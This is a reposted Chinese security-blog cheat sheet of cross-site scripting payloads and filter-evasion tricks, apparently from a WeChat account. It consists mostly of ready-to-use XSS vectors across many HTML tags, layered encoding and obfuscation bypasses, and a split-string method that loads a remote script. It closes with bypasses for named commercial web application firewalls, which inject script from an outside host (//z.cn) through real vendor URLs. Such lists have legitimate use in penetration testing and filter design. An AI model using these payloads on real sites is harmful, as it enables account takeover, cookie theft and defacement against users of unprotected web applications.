XSS 常用标签及绕过姿势总结

admin 2022年8月12日19:14:16安全文章评论38 views11938字阅读39分47秒阅读模式

扫码领资料

获黑客教程

免费&进群

XSS 常用标签及绕过姿势总结
XSS 常用标签及绕过姿势总结


一、xss 常见标签语句

0x01. <a> 标签

<a href="javascript:alert(1)">test</a><a href="x" onfocus="alert('xss');" autofocus="">xss</a><a href="x" onclick=eval("alert('xss');")>xss</a><a href="x" onmouseover="alert('xss');">xss</a><a href="x" onmouseout="alert('xss');">xss</a>

0x02. <img>标签

<img src=x onerror="alert(1)"><img src=x onerror=eval("alert(1)")><img src=1 onmouseover="alert('xss');"><img src=1 onmouseout="alert('xss');"><img src=1 onclick="alert('xss');">

0x03. <iframe>标签

<iframe src="javascript:alert(1)">test</iframe><iframe onload="alert(document.cookie)"></iframe><iframe onload="alert('xss');"></iframe><iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe><iframe onmouseover="alert('xss');"></iframe><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

0x04. <audio> 标签

<audio src=1 onerror=alert(1)><audio><source src="x" onerror="alert('xss');"></audio><audio controls onfocus=eval("alert('xss');") autofocus=""></audio><audio controls onmouseover="alert('xss');"><source src="x"></audio>

0x05. <video>标签

<video src=x onerror=alert(1)><video><source onerror="alert('xss');"></video><video controls onmouseover="alert('xss');"></video><video controls onfocus="alert('xss');" autofocus=""></video><video controls onclick="alert('xss');"></video>

0x06. <svg> 标签

<svg onload=javascript:alert(1)>
<svg onload="alert('xss');"></svg>

0x07. <button> 标签

<button onclick=alert(1)><button onfocus="alert('xss');" autofocus="">xss</button><button onclick="alert('xss');">xss</button><button onmouseover="alert('xss');">xss</button><button onmouseout="alert('xss');">xss</button><button onmouseup="alert('xss');">xss</button><button onmousedown="alert('xss');"></button>

0x08. <div>标签

这个需要借助url编码来实现绕过

原代码:<div onmouseover='alert(1)'>DIV</div>经过url编码:<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>

0x09. <object>标签

这个需要借助 data 伪协议和 base64 编码来实现绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

0x10. <script> 标签

<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

0x11. <p> 标签

<p onclick="alert('xss');">xss</p>
<p onmouseover="alert('xss');">xss</p>
<p onmouseout="alert('xss');">xss</p>
<p onmouseup="alert('xss');">xss</p>

0x12. <input> 标签

<input onclick="alert('xss');"><input onfocus="alert('xss');"><input onfocus="alert('xss');" autofocus=""><input onmouseover="alert('xss');"><input type="text" onkeydown="alert('xss');"></input><input type="text" onkeypress="alert('xss');"></input><input type="text" onkeydown="alert('xss');"></input>

0x13. <details>标签

<details ontoggle="alert('xss');"></details><details ontoggle="alert('xss');" open=""></details>

0x14. <select> 标签

<select onfocus="alert('xss');" autofocus></select><select onmouseover="alert('xss');"></select><select onclick=eval("alert('xss');")></select>

0x15. <form> 标签

<form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form><form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form><form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>

0x16. <body> 标签

<body onload="alert('xss');"></body>


二、xss 常见绕过


编码绕过

浏览器对 XSS 代码的解析顺序为HTML解码 —— URL解码 —— JS解码(只支持UNICODE)

0x01. html 实体编码

当可控点为单个标签属性时,可以使用 html 实体编码。

<a href="可控点">test</a>
<iframe src="可控点">test<iframe><img src=x onerror="可控点">

Payload

<a href="javascript:alert(1)">test</a>

十进制

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>

十六进制

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>


可以不带分号

<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>


可以填充0

<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

0x02. url 编码

当注入点存在 href 或者 src 属性时,可以使用 url 编码。

<a href="可控点">test</a>

<iframe src="可控点">test</iframe>


Payload

<a href="javascript:alert(1)">test</a>

<iframe src="javascript:alert(1)">test</iframe>

注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29">test</iframe>

可以二次编码

<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</iframe>

0x03. js 编码


解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将u0061u006cu0065u0072u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。

但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。

由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。

js 编码策略:

  1. "" 加上三个八进制数字,如果个数不够,前面补0,例如 "<" 编码为 "74"

  2. "x" 加上两个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "x3c"

  3. "u" 加上四个十六进制数字,如果个数不够,前面补0,例如 "<" 编码为 "u003c"

  4. 对于一些控制字符,使用特殊的 C 类型的转义风格(例如 n 和 r)

<img src=x onerror="可控点">

<input onfocus=location="可控点" autofocus>


Payload

<img src=x onerror="alert(1)">

<input onfocus=location="alert(1)" autofocus>

Unicode 编码

<img src=x onerror="u0061u006cu0065u0072u0074(1)">
<input onfocus=location="javascript:u0061u006Cu0065u0072u0074u0028u0031u0029" autofocus>

注:

Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 "1" 进行编码,框号编码后会被当成文本字符,不能执行。

ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval("alert(1)"),可以对 "alert(1)" 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

八进制和十六进制

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法:setTimeout(要执行的代码, 等待的毫秒数)

setTimeout(JavaScript 函数, 等待的毫秒数)


1.<svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')>2.<svg/onload=setTimeout('141154145162164050061051')>3.<svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')>4.<script>eval("x61x6Cx65x72x74x28x31x29")</script>5.<script>eval("141154145162164506151")</script>6.<script>eval("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>


0x04. 混合编码

<a href="可控点">test</a>


Payload

<a href="javascript:alert(1)">test</a>


html 编码

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>


Unicode 编码

<a href="javascript:u0061u006cu0065u0072u0074(1)">test</a>

注:Unicode 编码不能对括号使用

url 编码

<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>


由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

1. 原代码<a href="javascript:alert(1)">test</a>2. 对alert进行JS编码(unicode编码)<a href="javascript:u0061u006cu0065u0072u0074(1)">test</a>3. 对href标签中的u0061u006cu0065u0072u0074进行URL编码<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>4. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>

注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

0x05. base64 编码

base64 编码通常需要使用到 data 伪协议。

data 协议使用方法:data:资源类型;编码,内容

base64编码内容为

<script>alert(/xss/)</script>
PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=

通常与 base64 编码配合 data 协议的标签有 <object>、<a>、<iframe>

1.<object> 标签<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>2.<a> 标签<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a>   (新版浏览器不支持)3.<iframe> 标签<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>4.<embed> 标签<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>

atob 函数

atob() 方法用于解码使用 base-64 编码的字符串。

语法:window.atob(encodedStr)(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)

1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>


0x06. ascii 编码

ascii 编码一般配合String.fromCharCode使用。

alert(1)
十进制:97, 108, 101, 114, 116, 40, 49, 41
十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29


十进制

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>


十六进制

<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>


空格过滤绕过

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>


圆括号过滤绕过

0x01. 反引号替换

<script>alert`1`</script>

0x02. throw 绕过

<video src onerror="javascript:window.onerror=alert;throw 1"><svg/onload="window.onerror=eval;throw'=alertx281x29';">

单引号过滤绕过

0x01. 斜杠替换

<script>alert(/xss/)</script>

0x02. 反引号替换

<script>alert(`xss`)</script>


alert 过滤绕过

0x01. prompt 替换

<script>prompt(/xss/)</script>

0x02. confirm 替换

<script>confirm(/xss/)</script>

0x03. console.log 替换

<script>console.log(3)</script>

0x04. document.write 替换

<script>document.write(1)</script>

0x05. base64 绕过

<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"><img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

关键词置空绕过

0x01. 大小写绕过

<script>alert(/xss/)</script>

可以转换为

<ScRiPt>AlErT(/xss/)</sCrIpT>

0x02. 嵌套绕过

嵌套<script>和</script>突破

<script>alert(/xss/)</script>

可以转换为

<sc<script>ript>alert(/xss/)</sc</script>ript>


函数拼接

0x01. eval

<img src="x"onerror="eval('al'+'ert(1)')">

0x02. top

<img src="x" onerror="top['al'+'ert'](1)">

0x03. window

<img src="x" onerror="window['al'+'ert'](1)">

0x04. self

<img src="x" onerror="self[`al`+`ert`](1)">

0x05. parent

<img src="x" onerror="parent[`al`+`ert`](1)">

0x06. frames

<img src="x" onerror="frames[`al`+`ert`](1)">

0x07. 常用函数

<img src="x" onerror="eval(alert(1))"><img src="x" onerror="open(alert(1))"><img src="x" onerror="document.write(alert(1))"><img src="x" onerror="setTimeout(alert(1))"><img src="x" onerror="setInterval(alert(1))"><img src="x" onerror="Set.constructor(alert(1))"><img src="x" onerror="Map.constructor(alert(1))"><img src="x" onerror="Array.constructor(alert(1))"><img src="x" onerror="WeakSet.constructor(alert(1))"><img src="x" onerror="constructor.constructor(alert(1))"><img src="x" onerror="[1].map(alert(1))"><img src="x" onerror="[1].find(alert(1))"><img src="x" onerror="[1].every(alert(1))"><img src="x" onerror="[1].filter(alert(1))"><img src="x" onerror="[1].forEach(alert(1))"><img src="x" onerror="[1].findIndex(alert(1))">

赋值拼接

<img src onerror=_=alert,_(1)><img src x=al y=ert onerror=top[x+y](1)><img src onerror=top[a='al',b='ev',b+a]('alert(1)')><img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>


火狐IE专属

<marquee onstart=alert(1)>

拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。

<script>a='document.write("'</script><script>a=a+'<script src=ht'</script><script>a=a+'tp://test.com/xs'</script><script>a=a+'s.js></script>")'</script><script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("<script src = http://test.com/xss.js></script>")

三、绕过 waf 拦截

安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

D盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

云锁+奇安信 waf

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
作者:3heer原文地址;https://www.freebuf.com/articles/web/340080.html

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.

学习更多渗透技能!供靶场练习技能


XSS 常用标签及绕过姿势总结

扫码领白帽黑客视频资料及工具

XSS 常用标签及绕过姿势总结

原文始发于微信公众号(白帽子左一):XSS 常用标签及绕过姿势总结

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月12日19:14:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  XSS 常用标签及绕过姿势总结 http://cn-sec.com/archives/1234109.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: